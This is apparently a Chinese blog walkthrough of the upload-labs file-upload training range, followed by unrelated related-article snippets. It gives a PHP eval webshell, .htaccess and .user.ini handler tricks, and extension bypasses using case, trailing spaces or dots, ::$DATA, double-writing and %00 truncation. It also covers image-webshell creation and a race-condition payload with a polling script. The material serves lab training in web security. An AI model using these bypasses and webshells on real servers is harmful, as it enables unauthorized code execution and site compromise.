upload-labs-master靶场训练笔记

2004.2.17

level-1

(前端验证) 

新建一个写有下面一句话木马的php文件,然后把后缀改为png

<?php @eval($_POST["abc"]); ?>

用bp抓包后更改文件后缀为php

再用蚁剑等工具链接即可拿下shell

 

level-2 

(后端验证) 

相较于level-1,后端验证可以直接传入php文件再更改Content-Type类型为image/png

(当然level-1的操作也是可以用的) 

 

后面的链接操作和level-1一样 

level-3

 (黑名单 - phtml绕过)

这里我用新版的小皮没有实现,然后给小皮降了版本后就可以了,用的是phpstudy2018

(具体原因未查明(懒癌晚期绝症患者),猜测是Apache的版本原因,或者是小皮的一些配置文件不一样) 

如图所示,打开 Apache 的配置文件

用 ctrl+f 找到 AddType application/x-httpd-php .php .phtml 并把前面的 # 删掉

保存重启一下,这下就可以解析 .phtml 的文件了

为了方便起见(别问,问就是懒╮(๑•́ ₃•̀๑)╭),后面都用<?php phpinfo(); ?>的一句话木马作为演示

<?php phpinfo(); ?>

修改文件后缀为.phtml,然后上传文件,并打开图片

出现如图界面即为成功

level-4

(黑名单 - htaccess绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

这些后缀名的文件,那我们可以用 .htaccess 的文件去绕过

在黑盒测试中,可以使用bp爆破来分析哪些文件没被过滤

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阴止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

要使htaccess文件生效需要在Apache 的配置文件中设置 AllowOverride为All(默认是All)

创建一个名字为.htaccess的文件

Ps:如果电脑报错,可以尝试bp抓包时修改

.htaccess

写入可以将后来文件以php文件解释的内容 

SetHandler application/x-httpd-php

然后先上传.htaccess文件,在上传后缀是.png内容是一句话木马的文件

然后打开图片即可

level-5

(黑名单 - .user.ini 绕过)

我用php 5.4.45有问题,先改到 php 5.3.29 

然后修改php的配置文件

修改 user_ini.cache_ttl 后面的数字,后面的数字代表传入文件后相应的秒数,比如300的话,传入木马文件后得等300s才能执行

先上传一个以auto_prepend_file=text.png(等号后面的名字可自定义)为内容的.user.ini文件【用户自定义的配置文件】。

.user.ini文件里的意思是:所有的php文件都自动包含text.png文件,.user.ini相当于一个用户自定义的php.ini。

auto_prepend_file=text.png

然后再上传一个内容为一句话木马的命名为text.png的文件 

然后再查看readme.php文件(自带的文件) ,就可以执行刚才的木马文件

level-6

(黑名单 - 大小写绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini 

这些后缀名的文件,但是没有强制转换为小写的代码,那我们可以用 .phP 的文件去绕过 

用bp抓包后修改文件名 

如果出现如下错误,是php版本的问题,php5.4.45是没问题的

level-7

(黑名单 - 空格绕过)

 Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Bp截断HTTP请求,修改对应的文件名并添加空格

bp抓包后在文件后缀后面添加空格

level-8

(黑名单 - 点号绕过)

 原理和空格绕过类似

bp抓包后在文件后缀后面添加 .

level-9

(黑名单 - ::$DATA绕过) 

windows环境中,如果文件名+ ::$DATA 会把之后的数据当成文件流处理(相当于注释),不会检测后缀名.且保持 ::$DATA 之前的文件名

查看时去掉后面的 ::$DATA ,否则会403

level-10

(路径拼接绕过) 

没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:test.php.+空格+.
deldot删除最后一个点后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.利用Windows自动去除最后一个点,导致成功上传1.php

抓包修改文件后缀为.php. .

level-11

(双写绕过)

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)(只替换一次)

该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
  • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

Ps:

  • 该函数不区分大小写。可以使用 str_replace() 函数来执行区分大小写的搜索
  • 该函数是二进制安全的

说白了就是后缀改为.pphphp 

level-12

(白名单 - GET型%00绕过)

00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

Ps:

在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与magic_quotes_gpc,addslashes函数

先将版本降至 5.2.17

再取消勾选 magic_quotes_gpc

 然后重启一下

在上传带有木马的php文件,然后如图修改 

最后访问文件

level-13

(白名单 - POST型%00绕过)

 上传带有木马的php文件,然后如图修改

 然后再16进制中修改刚才随便加的字符的16进制码为00

 

然后放包即可 

level-14

(文件包含)

图片Webshell制作

先准备一张正常的图片和一个带有木马的php文件

然后可以通过cmd制作图片马

copy 1.png /b + test.php /a test.png

通过记事本打开刚刚制作的test.png,划到最下面可以看到写入的一句话木马

然后上传图片后点击文件包含漏洞的文字可以转跳到带有文件包含漏洞的界面

通过复制图片链接可以知道文件的名字,然后如图拼接url可以实现漏洞的利用 

http://127.0.0.1/upload-labs-master/include.php?file=upload/4620240220064505.png

level-15

(文件包含)

 和level-14不同的是,level-14只检测了文件头,而level-15这是用了getimagesize()监测图像的大小和格式,只是检测方式不同,level-14做出的图片马依旧可以通过本关

level-16

(文件包含)

依然是检测方式的不同,源码使用了 exif_imagetype 函数所以要开启php_exif拓展

后续操作和level-14一模一样

level-17

(二次渲染)

所谓的二次渲染简单讲就是上传一张图片,服务器会对图片进行压缩,然后我们通过比较压缩前后的文件找到没被压缩的地方,并把那个地方替换成一句话木马,再上传来绕过的操作

最好找相同地方的文件就是gif了(我绝对不会说因为这个人太菜了而找不到png文件相同的地方的事实>_<|||) 

所以我们选用gif图片来演示 

制作gif图片马的方式和制作png图片马的方式一样

上传图片后,保存新的图片 

放入编码器(我用的是010 editor)中可以看到经过渲染,把原本的木马语句变没了

然后可以看到图中框选的区域就是压缩前后保持一样的地方

现在开始对test.gif进行操作,因为一句话木马是<?php phpinfo();?>所以字节码是

3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

注意这里3C对的是C列,3E对的是E列,后面粘贴时的起始位和结束位要对上

然后在刚才找到的没被压缩的地方截取一段(列数对上就行)替换成刚才的木马的字节码

然后再重新上传修改后的图片即可

level-18

(条件竞争)

先代码审计 

条件竞争就是赶在系统删除文件之前,运行木马文件,这样及使木马文件被删除了,运行的结果也已经被保留了

这里对木马文件进行更改,使其被执行后会生成一个名为success.php内容为<?php phpinfo();?>');?>的木马文件

<?php fwrite(fopen('success.php','w'),'<?php phpinfo();?>');?>

然而手动去竞争肯定是不太现实的,成功率太低了,要用魔法来打败魔法

先利用bp进行循环发送木马文件

在攻击模块中设置成无限循环,这样就可以一直发送木马文件

然后用python脚本进行访问文件

import requests
url = "http://127.0.0.1/upload-labs-master/upload/666.php"
print("开始")
while True:
    res = requests.get(url)
    if res.status_code == 200:
        print("成功")
        break

成功后就成功了

level-19

(条件竞争)

利用图片木马结合文件包含,并且要在图片马被删除之前访问到它与level-18类似

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/496214.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

js改变图片曝光度(高亮度)

方法一&#xff1a; 原理&#xff1a; 使用canvas进行滤镜操作&#xff0c;通过改变图片数据每个像素点的RGB值来提高图片亮度。 缺点 当前项目使用的是svg&#xff0c;而不是canvas 调整出来的效果不是很好&#xff0c;图片不是高亮&#xff0c;而是有些发白 效果 代码 …

量子通信达新高度!两大诺奖技术联手,铸就前所未有的高效纠缠光子源

滑铁卢大学量子计算研究所&#xff08;IQC&#xff09;的科学家们成功地融合了两项诺贝尔奖级别的研究成果&#xff0c;从而在量子通信领域取得了重大进展。他们现在能够通过量子点技术高效生成几乎完美的纠缠光子对&#xff0c;这一突破性成果已在《通信物理学》&#xff08;C…

实例:NX二次开发求取封闭曲线的面积(多个封闭曲线)

一、概述 最近在NX二次开发群里有人推了一篇关于写求取封闭曲线面积的文章。针对小白的我决定试着做一做&#xff0c;期间遇到了很多问题&#xff0c;全部用NXOpenC通过录制代码进行修改&#xff0c;最后发现老是有问题&#xff0c;后来通过ufun转化解决了问题&#xff0c;个人…

如何使用在项目中使用echarts

一、使用echarts的好处和作用 ECharts 是一个强大的数据可视化库&#xff0c;主要用于在网页上创建丰富多彩的交互式图表和地图。一些 ECharts 的好处和作用包括&#xff1a; 好处&#xff1a; 丰富的图表类型&#xff1a;ECharts 提供了各种常见的图表类型&#xff0c;如折线…

python的一些知识点

在C C Java中&#xff0c;基本数据类型变量&#xff08;将常量数据存储在变量空间当中&#xff09; int a 3; int b 4; 在C C中&#xff0c;指针变量&#xff08;存储的是变量的物理内存地址&#xff09; int a 3; int* b; b &a; int** c; c &b; printf("%d&…

jira安装与配置

1. 环境准备 环境要求 1) JDK1.8以上环境配置 2) Mysql数据库5.7.13 3) Jira版本7及破解包 1.1 JDK1.8安装配置 1) 首先下载 JDK1.8&#xff0c; - 网址&#xff1a;https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html - windows64 版&am…

Vue3气泡卡片(Popover)

效果如下图&#xff1a;在线预览 APIs 参数说明类型默认值必传title卡片标题string | slot‘’falsecontent卡片内容string | slot‘’falsemaxWidth卡片内容最大宽度string | number‘auto’falsetrigger卡片触发方式‘hover’ | ‘click’‘hover’falseoverlayStyle卡片样式…

开源AI引擎:利用影像处理与目标检测技术对违章建筑排查

一、项目案例介绍 随着城市化进程的加快&#xff0c;城市规划和管理工作面临着前所未有的挑战&#xff0c;违章建筑的排查与处理成为了城市管理中的一项重要任务。传统的违章建筑排查方法依赖于人力巡查&#xff0c;效率低下且难以全面覆盖。为了解决这一问题&#xff0c;现代…

C++资产设备管理系统

一、引言 1.1 项目设计背景及意义 1.1.1理论研究基础 &#xff08;1&#xff09;C在C的基础上增加了面向对象的机制。 &#xff08;2&#xff09;充分利用面向对象机制中的多态性实现函数的设计。 1.1.2 技术层面的支持 运用系统为C面向对象程序设计提供的各种设计方法和V…

DAZ Studio中常用的快捷键组合

CtrlAlt左键: 旋转视图CtrlAlt右键: 平移视图CtrlF: 在Mac上对应AppleF,聚焦选中的物体Alt方向键: 平移视图CtrlP: 返回透视视图W/A/S/D: 上/下/左/右视图ShiftF11: 在Mac上可能需要添加Option键,全屏模式F3: 启用X射线视见效果Ctrl1到0: 切换各种渲染式样CtrlL: 切换场景灯光 …

Midjourney辞典AIGC中英双语图文辞典+Midjourney提示关键词

完整内容下载&#xff1a;https://download.csdn.net/download/u010564801/89042077 完整内容下载&#xff1a;https://download.csdn.net/download/u010564801/89042077 完整内容下载&#xff1a;https://download.csdn.net/download/u010564801/89042077

基于Java在线考试系统系统设计与实现(源码+部署文档)

博主介绍&#xff1a; ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅 &#x1f447;&#x1f3fb; 不然下次找不到 Java项目精品实…

element表格 加滚动,监听底部实现分页加载

表格要实现滚动很简单&#xff0c;给他加一个高度即可 height"300" 然后是监听事件 mounted() {this.lazyLoading();}, methods:{lazyLoading(){let dom document.querySelector(".el-table__body-wrapper");dom.addEventListener("scroll", (…

适合工业应用,MAX42408AFOA、MAX42408AFOB、MAX42410AFOA采用小解决方案尺寸的高功率DC/DC转换器

产品简介 MAX42408/MAX42410均为高度集成的同步降压转换器&#xff0c;具有内部高侧和低侧开关。这些IC均可在4.5V至36V的输入电压范围内提供高达8A/10A的电流。电压质量可以通过PGOOD信号来监测。MAX42408/MAX42410可以在压差模式下以99%的占空比运行&#xff0c;非常适合工业…

创业最大的机会是什么?2024普通人的机会!2024创业新风口!2024轻资产创业!2024年做什么行业赚钱有前景?

开封王婆的爆火就是商机的展现&#xff01;她就是敏锐的发现了婚恋市场上的空白点&#xff0c;看到了年轻人对真实、自由恋爱关系的渴望&#xff0c;以及对情感生活自主性和独立性的追求。并且除了人力几乎没有没有任何成本。而且&#xff0c;这种创业模式几乎只需要人力投入&a…

纯前端网页播放20路海康威视、大华RTSP视频流,调用双显卡GPU加速

关于网页播放摄像头RTSP视频流&#xff0c;网上有很多免费开源方案&#xff0c;大多数是通过把在服务器端RTSP转码成HLS或者RTMP等前端可以播放的视频流&#xff0c;然后推到前端播放&#xff0c;但是大多数延迟非常高&#xff08;比如&#xff1a;HLS延迟达到十几秒&#xff0…

Springboot实现qq邮件的发送

一、打开必要的邮件设置 首先登录qq邮箱官网登录之后&#xff0c;在设置中将传输协议给打开&#xff0c;我们需要用这个秘钥作为发件人的邮箱授权。 这里开启之后&#xff0c;记住这个秘钥。 二、代码编写 首先我们将作为发送邮件的账户信息写入配置文件。 spring:mail:hos…

#include<初见C语言之指针(5)>

目录 一、sizeof和strlen的对比 1. sizeof 2.strlen 二、数组和指针题解析 1. ⼀维数组 1.1数组名理解 2.字符数组 3. ⼆维数组 三、指针运算题解析 总结 一、sizeof和strlen的对比 1. sizeof 我们前面介绍过sizeof是单目操作符 sizeof括号中有表达式&#xff0c;不…

力扣19 链表 删除倒数N结点

目录 问题&#xff1a; 1.链表的组成结构 2.如何改变倒数第N个结点 2.1 求链表长度 2.2 找到倒数第N个结点前一个结点 2.3 让倒数N前一个改变即可 3.源代码示范 问题&#xff1a; 1.链表的组成结构 单向链表 由value next 组成 &#xff0c;value包括此结点的各基础属…

【虹科干货】长文预警!使用ntopng和NetFlow/IPFIX检测Dos攻击(上)

为了和大家探讨网络安全领域中的关键问题&#xff0c;我将分两期来展示如何使用ntopng和NetFlow/IPFIX检测Dos攻击。在本篇中&#xff0c;我先简单介绍网络安全面临的挑战、为何网络流量分析在应对网络安全挑战中起重要作用&#xff0c;此外&#xff0c;我会介绍在此次检测中使…